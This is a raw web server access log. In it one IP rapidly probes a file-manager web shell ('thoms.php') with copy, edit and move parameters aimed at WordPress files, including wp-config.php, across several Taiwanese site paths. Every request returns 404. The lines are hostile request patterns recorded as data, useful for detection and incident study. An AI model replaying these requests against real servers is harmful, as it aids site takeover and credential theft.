45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /ba-guo.com.tw/.well-known/?ND= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /ba-guo.com.tw/.well-known/?SA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /ba-guo.com.tw/.well-known/?MA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?edit=wp-settings.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:09 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:10 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:11 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:12 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
